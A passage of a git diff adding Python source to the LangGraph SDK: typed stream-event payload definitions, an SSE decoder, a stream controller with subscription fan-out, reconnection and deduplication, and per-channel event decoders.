NamedTuples. +- `"v2"`: Each event is a typed dict with `type`, `ns`, and `data` keys. +""" + + +# --- Typed payload dicts (JSON-deserialized from the server) --- + + +class TaskPayload(TypedDict): + """Payload for a task start event.""" + + id: str + """Unique identifier for this task.""" + name: str + """Name of the node being executed.""" + input: Any + """Input data passed to the task.""" + triggers: list[str] + """List of triggers that caused this task to be executed (e.g. channel writes).""" + + +class TaskResultPayload(TypedDict): + """Payload for a task result event.""" + + id: str + """Unique identifier for this task.""" + name: str + """Name of the node that was executed.""" + error: str | None + """Error message if the task failed, otherwise `None`.""" + interrupts: list[dict[str, Any]] + """List of interrupts that occurred during task execution.""" + result: dict[str, Any] + """Mapping of channel names to the values written by this task.""" + + +class CheckpointTaskPayload(TypedDict): + """A task entry within a `CheckpointPayload`. + + The keys present depend on the task's state: + + - **Error:** `id`, `name`, `error`, `state` + - **Has result:** `id`, `name`, `result`, `interrupts`, `state` + - **Pending:** `id`, `name`, `interrupts`, `state` + """ + + id: str + """Unique identifier for this task.""" + name: str + """Name of the node being executed.""" + error: NotRequired[str] + """Error message, present only if the task failed.""" + result: NotRequired[Any] + """Result of the task, present only if the task completed successfully.""" + interrupts: NotRequired[list[dict[str, Any]]] + """List of interrupts, present when the task has been interrupted or completed.""" + state: dict[str, Any] | None + """Snapshot of the subgraph state. `None` if not a subgraph.""" + + +class CheckpointPayload(TypedDict): + """Payload for a checkpoint event.""" + + config: dict[str, Any] | None + """Configuration for this checkpoint, including the `thread_id` and `checkpoint_id`.""" + metadata: dict[str, Any] + """Metadata associated with this checkpoint (e.g. step number, source, writes).""" + values: dict[str, Any] + """Current state values at the time of this checkpoint.""" + next: list[str] + """Names of the nodes scheduled to execute next.""" + parent_config: dict[str, Any] | None + """Configuration of the parent checkpoint, or `None` if this is the first checkpoint.""" + tasks: list[CheckpointTaskPayload] + """List of tasks associated with this checkpoint.""" + + +class _DebugCheckpointPayload(TypedDict): + step: int + """The step number in the graph execution.""" + timestamp: str + """ISO 8601 timestamp of when this event occurred.""" + type: Literal["checkpoint"] + """Event type discriminator, always `"checkpoint"`.""" + payload: CheckpointPayload + """The checkpoint payload.""" + + +class _DebugTaskPayload(TypedDict): + step: int + """The step number in the graph execution.""" + timestamp: str + """ISO 8601 timestamp of when this event occurred.""" + type: Literal["task"] + """Event type discriminator, always `"task"`.""" + payload: TaskPayload + """The task start payload.""" + + +class _DebugTaskResultPayload(TypedDict): + step: int + """The step number in the graph execution.""" + timestamp: str + """ISO 8601 timestamp of when this event occurred.""" + type: Literal["task_result"] + """Event type discriminator, always `"task_result"`.""" + payload: TaskResultPayload + """The task result payload.""" + + +DebugPayload = _DebugCheckpointPayload | _DebugTaskPayload | _DebugTaskResultPayload +"""Wrapper payload for debug events. Discriminate on `type`.""" + + +class RunMetadataPayload(TypedDict): + """Payload for the `metadata` control event.""" + + run_id: str + """The unique identifier of the run.""" + + +# --- v2 stream part TypedDicts --- + + +class ValuesStreamPart(TypedDict): + """Stream part emitted for `stream_mode="values"`.""" + + type: Literal["values"] + """Stream part type discriminator.""" + ns: list[str] + """Namespace path of the emitting node (empty for root graph).""" + data: dict[str, Any] + """Full state values after the step.""" + interrupts: list[dict[str, Any]] + """List of interrupts that occurred during this step.""" + + +class UpdatesStreamPart(TypedDict): + """Stream part emitted for `stream_mode="updates"`.""" + + type: Literal["updates"] + """Stream part type discriminator.""" + ns: list[str] + """Namespace path of the emitting node (empty for root graph).""" + data: dict[str, Any] + """Mapping of node names to their outputs.""" + + +class MessagesPartialStreamPart(TypedDict): + """Stream part emitted for partial message chunks (`messages/partial`).""" + + type: Literal["messages/partial"] + """Stream part type discriminator.""" + ns: list[str] + """Namespace path of the emitting node (empty for root graph).""" + data: list[dict[str, Any]] + """List of partial message chunk dicts.""" + + +class MessagesCompleteStreamPart(TypedDict): + """Stream part emitted for complete messages (`messages/complete`).""" + + type: Literal["messages/complete"] + """Stream part type discriminator.""" + ns: list[str] + """Namespace path of the emitting node (empty for root graph).""" + data: list[dict[str, Any]] + """List of complete message dicts.""" + + +class MessagesMetadataStreamPart(TypedDict): + """Stream part emitted for message metadata (`messages/metadata`).""" + + type: Literal["messages/metadata"] + """Stream part type discriminator.""" + ns: list[str] + """Namespace path of the emitting node (empty for root graph).""" + data: dict[str, Any] + """Metadata dict for the message (e.g. `langgraph_step`, `langgraph_node`).""" + + +class MessagesTupleStreamPart(TypedDict): + """Stream part emitted for `stream_mode="messages"` (raw message+metadata pair).""" + + type: Literal["messages"] + """Stream part type discriminator.""" + ns: list[str] + """Namespace path of the emitting node (empty for root graph).""" + data: list[dict[str, Any]] + """Two-element list of `[message_dict, metadata_dict]`.""" + + +class CustomStreamPart(TypedDict): + """Stream part emitted for `stream_mode="custom"`.""" + + type: Literal["custom"] + """Stream part type discriminator.""" + ns: list[str] + """Namespace path of the emitting node (empty for root graph).""" + data: Any + """User-defined data passed to `StreamWriter` inside a node.""" + + +class CheckpointsStreamPart(TypedDict): + """Stream part emitted for `stream_mode="checkpoints"`.""" + + type: Literal["checkpoints"] + """Stream part type discriminator.""" + ns: list[str] + """Namespace path of the emitting node (empty for root graph).""" + data: CheckpointPayload + """The checkpoint payload.""" + + +class TasksStreamPart(TypedDict): + """Stream part emitted for `stream_mode="tasks"`.""" + + type: Literal["tasks"] + """Stream part type discriminator.""" + ns: list[str] + """Namespace path of the emitting node (empty for root graph).""" + data: TaskPayload | TaskResultPayload + """Task start or task result payload.""" + + +class DebugStreamPart(TypedDict): + """Stream part emitted for `stream_mode="debug"`.""" + + type: Literal["debug"] + """Stream part type discriminator.""" + ns: list[str] + """Namespace path of the emitting node (empty for root graph).""" + data: DebugPayload + """The debug event payload.""" + + +class MetadataStreamPart(TypedDict): + """Control event with `run_id` and other run metadata.""" + + type: Literal["metadata"] + """Stream part type discriminator.""" + ns: list[str] + """Namespace path (empty for root graph).""" + data: RunMetadataPayload + """The run metadata payload.""" + + +StreamPartV2 = ( + ValuesStreamPart + | UpdatesStreamPart + | MessagesPartialStreamPart + | MessagesCompleteStreamPart + | MessagesMetadataStreamPart + | MessagesTupleStreamPart + | CustomStreamPart + | CheckpointsStreamPart + | TasksStreamPart + | DebugStreamPart + | MetadataStreamPart +) +"""Discriminated union of all v2 stream part types. + +Use `part["type"]` to narrow the type. +""" + + +class Send(TypedDict): + """Represents a message to be sent to a specific node in the graph. + + This type is used to explicitly send messages to nodes in the graph, typically + used within Command objects to control graph execution flow. + """ + + node: str + """The name of the target node to send the message to.""" + input: dict[str, Any] | None + """Optional dictionary containing the input data to be passed to the node. + + If None, the node will be called with no input.""" + + +class Command(TypedDict, total=False): + """Represents one or more commands to control graph execution flow and state. + + This type defines the control commands that can be returned by nodes to influence + graph execution. It lets you navigate to other nodes, update graph state, + and resume from interruptions. + """ + + goto: Send | str | Sequence[Send | str] + """Specifies where execution should continue. Can be: + + - A string node name to navigate to + - A Send object to execute a node with specific input + - A sequence of node names or Send objects to execute in order + """ + update: dict[str, Any] | Sequence[tuple[str, Any]] + """Updates to apply to the graph's state. Can be: + + - A dictionary of state updates to merge + - A sequence of (key, value) tuples for ordered updates + """ + resume: Any + """Value to resume execution with after an interruption. + Used in conjunction with interrupt() to implement control flow. + """ + + +class RunCreateMetadata(TypedDict): + """Metadata for a run creation request.""" + + run_id: str + """The ID of the run.""" + + thread_id: str | None + """The ID of the thread.""" + + +class _TypedDictLikeV1(Protocol): + """Protocol to represent types that behave like TypedDicts + + Version 1: using `ClassVar` for keys.""" + + __required_keys__: ClassVar[frozenset[str]] + __optional_keys__: ClassVar[frozenset[str]] + + +class _TypedDictLikeV2(Protocol): + """Protocol to represent types that behave like TypedDicts + + Version 2: not using `ClassVar` for keys.""" + + __required_keys__: frozenset[str] + __optional_keys__: frozenset[str] + + +class _DataclassLike(Protocol): + """Protocol to represent types that behave like dataclasses. + + Inspired by the private _DataclassT from dataclasses that uses a similar protocol as a bound. + """ + + __dataclass_fields__: ClassVar[dict[str, Field[Any]]] + + +class _BaseModelLike(Protocol): + """Protocol to represent types that behave like Pydantic `BaseModel`.""" + + model_config: ClassVar[dict[str, Any]] + __pydantic_core_schema__: ClassVar[Any] + + def model_dump( + self, + **kwargs: Any, + ) -> dict[str, Any]: ... + + +_JSONLike: TypeAlias = None | str | int | float | bool +_JSONMap: TypeAlias = Mapping[ + str, Union[_JSONLike, list[_JSONLike], "_JSONMap", list["_JSONMap"]] +] + +Input: TypeAlias = ( + _TypedDictLikeV1 | _TypedDictLikeV2 | _DataclassLike | _BaseModelLike | _JSONMap +) + +Context: TypeAlias = Input diff --git a/libs/sdk-py/langgraph_sdk/sse.py b/libs/sdk-py/langgraph_sdk/sse.py new file mode 100644 index 0000000..9002d90 --- /dev/null +++ b/libs/sdk-py/langgraph_sdk/sse.py @@ -0,0 +1,157 @@ +"""Adapted from httpx_sse to split lines on \n, \r, \r\n per the SSE spec.""" + +from __future__ import annotations + +import contextlib +from collections.abc import AsyncIterator, Iterator +from typing import cast + +import httpx +import orjson + +from langgraph_sdk.schema import StreamPart + +BytesLike = bytes | bytearray | memoryview + + +class BytesLineDecoder: + """ + Handles incrementally reading lines from text. + + Has the same behaviour as the stdllib bytes splitlines, + but handling the input iteratively. + """ + + def __init__(self) -> None: + self.buffer = bytearray() + self.trailing_cr: bool = False + + def decode(self, text: bytes) -> list[BytesLike]: + # See https://docs.python.org/3/glossary.html#term-universal-newlines + NEWLINE_CHARS = b"\n\r" + + # We always push a trailing `\r` into the next decode iteration. + if self.trailing_cr: + text = b"\r" + text + self.trailing_cr = False + if text.endswith(b"\r"): + self.trailing_cr = True + text = text[:-1] + + if not text: + # NOTE: the edge case input of empty text doesn't occur in practice, + # because other httpx internals filter out this value + return [] # pragma: no cover + + trailing_newline = text[-1] in NEWLINE_CHARS + lines = cast(list[BytesLike], text.splitlines()) + + if len(lines) == 1 and not trailing_newline: + # No new lines, buffer the input and continue. + self.buffer.extend(lines[0]) + return [] + + if self.buffer: + # Include any existing buffer in the first portion of the + # splitlines result. + self.buffer.extend(lines[0]) + lines = [self.buffer, *lines[1:]] + self.buffer = bytearray() + + if not trailing_newline: + # If the last segment of splitlines is not newline terminated, + # then drop it from our output and start a new buffer. + self.buffer.extend(lines.pop()) + + return lines + + def flush(self) -> list[BytesLike]: + if not self.buffer and not self.trailing_cr: + return [] + + lines: list[BytesLike] = [self.buffer] + self.buffer = bytearray() + self.trailing_cr = False + return lines + + +class SSEDecoder: + def __init__(self) -> None: + self._event = "" + self._data = bytearray() + self._last_event_id = "" + self._retry: int | None = None + + @property + def last_event_id(self) -> str | None: + """Return the last event identifier that was seen.""" + + return self._last_event_id or None + + def decode(self, line: bytes) -> StreamPart | None: + # See: https://html.spec.whatwg.org/multipage/server-sent-events.html#event-stream-interpretation + + if not line: + if ( + not self._event + and not self._data + and not self._last_event_id + and self._retry is None + ): + return None + + sse = StreamPart( + event=self._event, + data=orjson.loads(self._data) if self._data else None, # ty: ignore[invalid-argument-type] + id=self.last_event_id, + ) + + # NOTE: as per the SSE spec, do not reset last_event_id. + self._event = "" + self._data = bytearray() + self._retry = None + + return sse + + if line.startswith(b":"): + return None + + fieldname, _, value = line.partition(b":") + + if value.startswith(b" "): + value = value[1:] + + if fieldname == b"event": + self._event = value.decode() + elif fieldname == b"data": + self._data.extend(value) + elif fieldname == b"id": + if b"\0" in value: + pass + else: + self._last_event_id = value.decode() + elif fieldname == b"retry": + with contextlib.suppress(TypeError, ValueError): + self._retry = int(value) + else: + pass # Field is ignored. + + return None + + +async def aiter_lines_raw(response: httpx.Response) -> AsyncIterator[BytesLike]: + decoder = BytesLineDecoder() + async for chunk in response.aiter_bytes(): + for line in decoder.decode(chunk): + yield line + for line in decoder.flush(): + yield line + + +def iter_lines_raw(response: httpx.Response) -> Iterator[BytesLike]: + decoder = BytesLineDecoder() + for chunk in response.iter_bytes(): + for line in decoder.decode(chunk): + yield line + for line in decoder.flush(): + yield line diff --git a/libs/sdk-py/langgraph_sdk/stream/__init__.py b/libs/sdk-py/langgraph_sdk/stream/__init__.py new file mode 100644 index 0000000..a1fe5ed --- /dev/null +++ b/libs/sdk-py/langgraph_sdk/stream/__init__.py @@ -0,0 +1,15 @@ +"""Stream module for LangGraph SDK v3.""" + +from langchain_protocol import ( + Channel, + Event, + Namespace, + SubscribeParams, +) + +__all__ = [ + "Channel", + "Event", + "Namespace", + "SubscribeParams", +] diff --git a/libs/sdk-py/langgraph_sdk/stream/controller.py b/libs/sdk-py/langgraph_sdk/stream/controller.py new file mode 100644 index 0000000..6e23365 --- /dev/null +++ b/libs/sdk-py/langgraph_sdk/stream/controller.py @@ -0,0 +1,398 @@ +"""Stream controller: subscription registry and fan-out for AsyncThreadStream. + +`StreamController` manages the set of active subscriptions against one shared +SSE connection, routing events from the shared stream to per-subscription +queues. It is the centralised place for: + +- subscription registration / teardown +- shared-stream lifecycle (open, rotate, close) +- dedup of replayed events across rotations +- fan-out from the shared stream to subscriber queues +""" + +from __future__ import annotations + +import asyncio +import contextlib +import logging +import random +from collections import OrderedDict +from collections.abc import AsyncGenerator, AsyncIterator, Awaitable, Callable +from dataclasses import dataclass, field +from typing import Any + +from langchain_protocol import Event, SubscribeParams + +from langgraph_sdk.stream.transport import AsyncProtocolTransport, EventStreamHandle + +# --------------------------------------------------------------------------- +# Bounded LRU set for event-id dedup +# --------------------------------------------------------------------------- + + +class _SeenEventIds: + """LRU set of event ids with bounded memory.""" + + __slots__ = ("_data", "_maxsize") + + def __init__(self, maxsize: int = 10_000) -> None: + self._data: OrderedDict[str, None] = OrderedDict() + self._maxsize = maxsize + + def add(self, event_id: str) -> None: + if event_id in self._data: + self._data.move_to_end(event_id) + return + self._data[event_id] = None + if len(self._data) > self._maxsize: + self._data.popitem(last=False) + + def __contains__(self, event_id: object) -> bool: + return event_id in self._data + + def __iter__(self): + return iter(self._data) + + +# --------------------------------------------------------------------------- +# Per-subscription record +# --------------------------------------------------------------------------- + +_logger = logging.getLogger(__name__) + + +@dataclass +class _Subscription: + """Internal record for one active subscription on a `StreamController`.""" + + id: int + params: SubscribeParams + queue: asyncio.Queue = field(default_factory=asyncio.Queue) + # Why: asyncio.Queue[Event | None] as a subscript in the field annotation + # causes a type error with ty; bare asyncio.Queue is accepted. + + +# --------------------------------------------------------------------------- +# Rotation close helper +# --------------------------------------------------------------------------- + + +async def _close_after(handle: EventStreamHandle, *, delay: float = 0.0) -> None: + """Close a handle, optionally after a brief delay. + + Used to detach closing the old stream from the synchronous rotation step + so the new stream can absorb server-side replayed events first. + """ + if delay: + await asyncio.sleep(delay) + await handle.close() + + +# --------------------------------------------------------------------------- +# StreamController +# --------------------------------------------------------------------------- + + +class StreamController: + """Manages subscriptions and fan-out against one shared SSE connection. + + Responsibilities: + - subscription registry (register / unregister) + - shared-stream lifecycle (open on first subscribe, rotate on filter widen) + - dedup of replayed events via a bounded LRU `_SeenEventIds` + - fan-out from the shared stream to per-subscription queues + + Args: + transport: the `AsyncProtocolTransport` bound to this thread session. + run_start_gate: zero-argument async callable that resolves once the + current `run.start` has committed server-side (no-op when no + run is in flight). + max_queue_size: per-subscription queue bound (default 1024). + seen_event_ids_max: LRU cap for the dedup set (default 10_000). + """ + + def __init__( + self, + *, + transport: AsyncProtocolTransport, + run_start_gate: Callable[[], Awaitable[None]] | None = None, # noqa: ARG002 + max_queue_size: int = 1024, + seen_event_ids_max: int = 10_000, + max_reconnect_attempts: int = 5, + reconnect_backoff_base: float = 0.1, + reconnect_backoff_cap: float = 2.0, + ) -> None: + self._transport = transport + self._max_queue_size = max_queue_size + self._seen_event_ids = _SeenEventIds(maxsize=seen_event_ids_max) + self._next_subscription_id = 1 + self._subscriptions: dict[int, _Subscription] = {} + self._shared_stream: EventStreamHandle | None = None + self._shared_stream_filter: dict[str, Any] | None = None + self._fanout_task: asyncio.Task[None] | None = None + self._rotation_close_tasks: set[asyncio.Task[None]] = set() + self._closed = False + self._cursor: int | None = None + self._max_reconnect_attempts = max_reconnect_attempts + self._reconnect_backoff_base = reconnect_backoff_base + self._reconnect_backoff_cap = reconnect_backoff_cap + + # ------------------------------------------------------------------ + # Public API + # ------------------------------------------------------------------ + + def subscribe( + self, + channels: list[str], + *, + namespaces: list[list[str]] | None = None, + depth: int | None = None, + ) -> AsyncIterator[Event]: + """Open a typed subscription against the shared SSE. + + Returns an async iterator that yields raw `Event` dicts matching the + given filter. Multiple concurrent subscribes share one HTTP connection + whose union expands or rotates as subscriptions come and go. + """ + params: SubscribeParams = {"channels": list(channels)} + if namespaces is not None: + params["namespaces"] = namespaces + if depth is not None: + params["depth"] = depth + return self._subscription_iter(params) + + async def close(self) -> None: + """Tear down the controller, awaiting any pending rotation closes.""" + if self._closed: + return + self._closed = True + if self._fanout_task is not None: + self._fanout_task.cancel() + with contextlib.suppress(Exception, asyncio.CancelledError): + await self._fanout_task + if self._shared_stream is not None: + await self._shared_stream.close() + if self._rotation_close_tasks: + await asyncio.gather(*self._rotation_close_tasks, return_exceptions=True) + + # ------------------------------------------------------------------ + # Subscription internals + # ------------------------------------------------------------------ + + def _register_subscription(self, params: SubscribeParams) -> _Subscription: + """Allocate a subscription id, create a bounded queue, add to registry.""" + sub = _Subscription( + id=self._next_subscription_id, + params=params, + queue=asyncio.Queue(maxsize=self._max_queue_size), + ) + self._next_subscription_id += 1 + self._subscriptions[sub.id] = sub + return sub + + def _unregister_subscription(self, subscription_id: int) -> None: + """Remove a subscription from the registry. No-op if already absent.""" + self._subscriptions.pop(subscription_id, None) + + # Public aliases used by tests and external callers. + register_subscription = _register_subscription + unregister_subscription = _unregister_subscription + + async def _subscription_iter( + self, params: SubscribeParams + ) -> AsyncGenerator[Event, None]: + sub = self._register_subscription(params) + try: + if self._closed: + return + await self._reconcile_stream(params) + self._ensure_fanout_running() + while True: + item = await sub.queue.get() + if item is None: + return + yield item + finally: + self._unregister_subscription(sub.id) + + # ------------------------------------------------------------------ + # Fan-out + # ------------------------------------------------------------------ + + def _ensure_fanout_running(self) -> None: + if self._fanout_task is None or self._fanout_task.done(): + self._fanout_task = asyncio.create_task(self._fanout()) + + # Public alias. + ensure_fanout_running = _ensure_fanout_running + + async def _fanout(self) -> None: + """Single consumer of the shared SSE; routes events to subscriptions. + + Why: rotation in `_reconcile_stream` replaces `_shared_stream` mid-loop. + Re-read `self._shared_stream` on each outer iteration so we always + consume from the current handle. The old handle's iterator exhausts + naturally after `_close_after` closes it. + + On a post-ready transport drop (non-cancelled error in `shared.done`), + attempts to reconnect up to `_max_reconnect_attempts` times before + giving up and closing subscriber queues. + """ + from langgraph_sdk.stream.subscription import matches_subscription + + while not self._closed: + shared = self._shared_stream + if shared is None: + return + try: + async for event in self._dedup_iter(shared.events): + if self._closed: + break + for sub in list(self._subscriptions.values()): + if matches_subscription(event, sub.params): + sub.queue.put_nowait(event) + except Exception as drop_err: + _logger.debug("transport drop in fanout: %r", drop_err) + + if self._shared_stream is shared: + err = await shared.done + if ( + err is not None + and not isinstance(err, asyncio.CancelledError) + and not self._closed + ): + with contextlib.suppress(Exception): + await self._shared_stream.close() + reconnected = await self._reconnect_shared_stream() + if reconnected: + continue + break + # Rotation: loop again to pick up the new _shared_stream. + + # Terminate consumers cleanly on shutdown / stream-end. + for sub in self._subscriptions.values(): + sub.queue.put_nowait(None) + + async def _reconnect_sleep(self, attempt: int) -> None: + """Sleep with exponential backoff and jitter for reconnect attempt *attempt*.""" + base = self._reconnect_backoff_base + cap = self._reconnect_backoff_cap + delay = min(cap, base * (2**attempt)) + jitter = random.uniform(0, delay * 0.25) + await asyncio.sleep(delay + jitter) + + async def _reconnect_shared_stream(self) -> bool: + """Attempt to reopen the shared stream after a transport drop. + + Returns True if a new stream was successfully opened, False if all + reconnect attempts were exhausted or the controller was closed. + """ + # We intentionally use the *current* shared_stream_filter (the latest + # computed union of all live subscriptions), not the filter that was + # active when this stream was originally opened. If subscriptions were + # added or removed during the drop window, the reconnect picks up the + # new shape. + base_filter = self._shared_stream_filter + if base_filter is None: + return False + for attempt in range(self._max_reconnect_attempts): + if self._closed: + return False + try: + new_stream = self._transport.open_event_stream( + self._filter_with_since(base_filter) + ) + await new_stream.ready + except asyncio.CancelledError: + raise + except Exception: + await self._reconnect_sleep(attempt) + continue + self._shared_stream = new_stream + return True + return False + + # ------------------------------------------------------------------ + # Stream rotation + # ------------------------------------------------------------------ + + async def _reconcile_stream(self, candidate_filter: SubscribeParams) -> None: + """Ensure the shared SSE covers `candidate_filter`. Rotate if not. + + Open-new-before-close-old: any events buffered server-side between + the two opens are replayed on the new SSE, and `_seen_event_ids` + dedupes the overlap. Awaits `new_stream.ready` so the HTTP connection + is established before returning. + """ + from langgraph_sdk.stream.subscription import filter_covers + + if ( + self._shared_stream is not None + and self._shared_stream_filter is not None + and filter_covers(self._shared_stream_filter, dict(candidate_filter)) + ): + return # Existing stream is sufficient. + + new_filter = self._compute_current_union(extra=candidate_filter) + new_stream = self._transport.open_event_stream( + self._filter_with_since(new_filter) + ) + old_stream = self._shared_stream + self._shared_stream = new_stream + self._shared_stream_filter = new_filter + await new_stream.ready + if old_stream is not None: + task = asyncio.create_task(_close_after(old_stream)) + self._rotation_close_tasks.add(task) + task.add_done_callback(self._rotation_close_tasks.discard) + + async def reconcile_stream(self, candidate_filter: SubscribeParams) -> None: + """Public alias for `_reconcile_stream`.""" + return await self._reconcile_stream(candidate_filter) + + def _compute_current_union( + self, extra: SubscribeParams | None = None + ) -> dict[str, Any]: + from langgraph_sdk.stream.subscription import compute_union_filter + + filters: list[dict[str, Any]] = [ + dict(sub.params) for sub in self._subscriptions.values() + ] + if extra is not None: + filters.append(dict(extra)) + return compute_union_filter(filters) + + # ------------------------------------------------------------------ + # Cursor tracking + # ------------------------------------------------------------------ + + def observe_applied_through_seq(self, seq: Any) -> None: + """Advance the reconnect cursor from a command response meta sequence.""" + self._observe_seq(seq) + + def _observe_event(self, event: Event) -> None: + self._observe_seq(event.get("seq")) + + def _observe_seq(self, seq: Any) -> None: + if isinstance(seq, int) and (self._cursor is None or seq > self._cursor): + self._cursor = seq + + def _filter_with_since(self, params: dict[str, Any]) -> dict[str, Any]: + out = dict(params) + if self._cursor is not None: + out["since"] = self._cursor + return out + + # ------------------------------------------------------------------ + # Dedup iterator + # ------------------------------------------------------------------ + + async def _dedup_iter(self, source: AsyncIterator[Event]) -> AsyncIterator[Event]: + async for event in source: + event_id = event.get("event_id") + if event_id is not None: + if event_id in self._seen_event_ids: + continue + self._seen_event_ids.add(event_id) + self._observe_event(event) + yield event diff --git a/libs/sdk-py/langgraph_sdk/stream/decoders.py b/libs/sdk-py/langgraph_sdk/stream/decoders.py new file mode 100644 index 0000000..45959bf --- /dev/null +++ b/libs/sdk-py/langgraph_sdk/stream/decoders.py @@ -0,0 +1,359 @@ +"""Per-channel event → items state machines. + +Used both by the projection iterators (`_ValuesProjection`, +`_MessagesProjection`, `_ToolCallsProjection`, `_SubgraphsProjection`) on +`AsyncThreadStream` / `SyncThreadStream`, and by `interleave_projections`, +which drives multiple decoders from one shared subscription. +""" + +from __future__ import annotations + +from collections.abc import Callable, Iterable, Mapping +from typing import Any, Literal, Protocol + +#: Channel names the public ``interleave_projections`` API accepts as built-ins. +SUPPORTED_INTERLEAVE_CHANNELS = ( + "values", + "messages", + "tool_calls", + "subgraphs", + "updates", + "checkpoints", + "tasks", +) + +#: Channel names that ``infer_channel`` recognizes as first-class protocol +#: methods but that ``interleave_projections`` has no decoder for. Routing them +#: to the extension/``custom:`` fallback would subscribe to a channel that never +#: matches and silently yield nothing, so they are rejected up front (fail +#: closed). ``lifecycle`` is control-plane (drives run output/interrupt); ``tools`` +#: is the wire alias for the public ``tool_calls`` channel. +RESERVED_INTERLEAVE_CHANNELS = frozenset({"lifecycle", "tools", "input"}) + + +def validate_interleave_channels(channels: list[str]) -> None: + """Reject reserved protocol channel names before they hit the fallback. + + Genuine extension names pass through untouched; only names that + ``infer_channel`` treats as built-in methods without an interleave decoder + are rejected, so a typo'd or unsupported protocol channel surfaces an error + instead of an empty stream. + """ + for ch in channels: + if ch in RESERVED_INTERLEAVE_CHANNELS: + hint = ' (use "tool_calls")' if ch == "tools" else "" + raise ValueError( + f"{ch!r} is not a valid interleave_projections channel{hint}. " + f"Supported channels: {', '.join(SUPPORTED_INTERLEAVE_CHANNELS)}, " + "or an extension name." + ) + + +def _event_namespace(params_field: Any) -> list[str]: + if not isinstance(params_field, dict): + return [] + namespace = params_field.get("namespace") or [] + return list(namespace) if isinstance(namespace, list) else [] + + +def _message_event_id(data: dict[str, Any]) -> str | None: + message_id = data.get("id") or data.get("message_id") + return str(message_id) if message_id is not None else None + + +def _message_route_key(data: dict[str, Any], fallback: str | None = None) -> str: + """Return the routing key for a message-channel event in `active`. + + Keys on `message_id` when available so concurrent messages that share the + same `run_id` (two AI turns in one agent step) route to independent streams + rather than colliding on a shared `run:` slot. + """ + message_id = _message_event_id(data) + if message_id is not None: + return f"message:{message_id}" + if fallback is not None: + return f"message:{fallback}" + return "__single__" + + +SubgraphStatus = Literal["started", "completed", "failed", "interrupted"] + + +def _parse_namespace_segment(segment: str) -> tuple[str, str | None]: + name, sep, task_id = segment.partition(":") + return name, task_id if sep else None + + +def _terminal_from_tasks_result( + data: dict[str, Any], +) -> tuple[SubgraphStatus, str | None]: + if data.get("interrupts"): + return "interrupted", None + error = data.get("error") + if error: + return "failed", str(error) + return "completed", None + + +def _is_direct_child(namespace: list[str], scope: tuple[str, ...]) -> bool: + return len(namespace) == len(scope) + 1 and tuple(namespace[: len(scope)]) == scope + + +class Decoder(Protocol): + def feed(self, event: Mapping[str, Any]) -> Iterable[Any]: ... + + +class DataDecoder: + """Yields `params.data` from events of a single `method`. + + Covers the channels whose projection is just "emit the payload": `values`, + `updates`, `checkpoints`, `tasks` — the SDK analog of local's + `Values`/`Updates`/`Checkpoints`/`TasksTransformer`, all of which push + `params["data"]` unchanged. The REST-state seeding for `values` stays at + the projection layer; it is a one-shot pre-stream fetch, not part of the + event state machine. + + Args: + method: The protocol `method` this decoder consumes. + namespace: When not `None`, events whose namespace differs are ignored + (scope filter, mirroring the local transformers' `namespace != scope` + check). `None` consumes every namespace — the historical `values` + projection behavior, where subscription scoping is handled upstream. + """ + + def __init__(self, method: str, namespace: list[str] | None = None): + self._method = method + self._namespace = list(namespace) if namespace is not None else None + + def feed(self, event: Mapping[str, Any]) -> Iterable[Any]: + if event.get("method") != self._method: + return + params = event.get("params") or {} + if self._namespace is not None and _event_namespace(params) != self._namespace: + return + data = params.get("data") + if data is not None: + yield data + + +class MessagesDecoder: + """Yields one chat-model stream per `message-start` event. + + Subsequent events route to the matching stream via `stream.dispatch(data)`. + Mirrors the per-event body of `_MessagesProjection._messages_iter` + (`_async/stream.py:404-458`). The subscription open/close and the + `_root_messages_inbox` drain branch stay at the projection layer. + + Args: + namespace: Events whose namespace differs are ignored (scope filter). + stream_factory: Keyword-only `(namespace, node, message_id) -> stream`. + Sync binds `ChatModelStream`; async binds `AsyncChatModelStream`. + """ + + def __init__( + self, + namespace: list[str], + stream_factory: Callable[..., Any], + ): + self._namespace = list(namespace) + self._stream_factory = stream_factory + self._active: dict[str, Any] = {} # route_key -> stream + + def feed(self, event: Mapping[str, Any]) -> Iterable[Any]: + if event.get("method") != "messages": + return + params = event.get("params") or {} + if _event_namespace(params) != self._namespace: + return + data = params.get("data") + if not isinstance(data, dict): + return + if data.get("event") == "message-start": + message_id = _message_event_id(data) + key = _message_route_key(data, fallback=message_id) + metadata = ( + data.get("metadata") if isinstance(data.get("metadata"), dict) else {} + ) + stream = self._stream_factory( + namespace=list(self._namespace), + node=metadata.get("langgraph_node") if metadata else None, + message_id=message_id, + ) + self._active[key] = stream + stream.dispatch(data) + yield stream + else: + key = _message_route_key(data) + stream = self._active.get(key) + if stream is None and key == "__single__" and len(self._active) == 1: + stream = next(iter(self._active.values())) + if stream is None: + return + stream.dispatch(data) + if data.get("event") in ("message-finish", "error"): + for route_key, candidate in list(self._active.items()): + if candidate is stream: + del self._active[route_key] + + +class ToolCallsDecoder: + """Yields one tool-call handle per `tool-started` event. + + Mirrors the per-event body of `_ToolCallsProjection._tool_calls_iter` + (`_async/stream.py:1168-1217`). The thread register/unregister and the + terminal-error-on-close finally stay at the projection / wrapper layer. + + Args: + namespace: Events whose namespace differs are ignored. + handle_factory: Keyword-only `(tool_call_id, name, input, namespace) -> handle`. + """ + + def __init__(self, namespace: list[str], handle_factory: Callable[..., Any]): + self._namespace = list(namespace) + self._handle_factory = handle_factory + self._active: dict[str, Any] = {} + + def feed(self, event: Mapping[str, Any]) -> Iterable[Any]: + if event.get("method") != "tools": + return + params = event.get("params") or {} + if _event_namespace(params) != self._namespace: + return + data = params.get("data") + if not isinstance(data, dict): + return + tool_call_id = data.get("tool_call_id") + if not isinstance(tool_call_id, str): + return + event_type = data.get("event") + if event_type == "tool-started": + name = data.get("tool_name") + handle = self._handle_factory( + tool_call_id=tool_call_id, + name=name if isinstance(name, str) else "", + input=data.get("input"), + namespace=list(self._namespace), + ) + self._active[tool_call_id] = handle + yield handle + elif event_type == "tool-output-delta": + handle = self._active.get(tool_call_id) + delta = data.get("delta") + if handle is not None and isinstance(delta, str): + handle._push_delta(delta) + elif event_type == "tool-finished": + handle = self._active.pop(tool_call_id, None) + if handle is not None: + handle._finish(data.get("output")) + elif event_type == "tool-error": + handle = self._active.pop(tool_call_id, None) + if handle is not None: + message = data.get("message") + handle._fail( + RuntimeError(str(message) if message else "Tool call errored") + ) + + +class SubgraphsDecoder: + """Discovers child subgraph handles and fans out events to active ones. + + Mirrors the per-event body of `_SubgraphsProjection._subgraphs_iter` + (`_async/stream.py:963-1041`) plus `_apply_tasks_result`. Root-inbox + 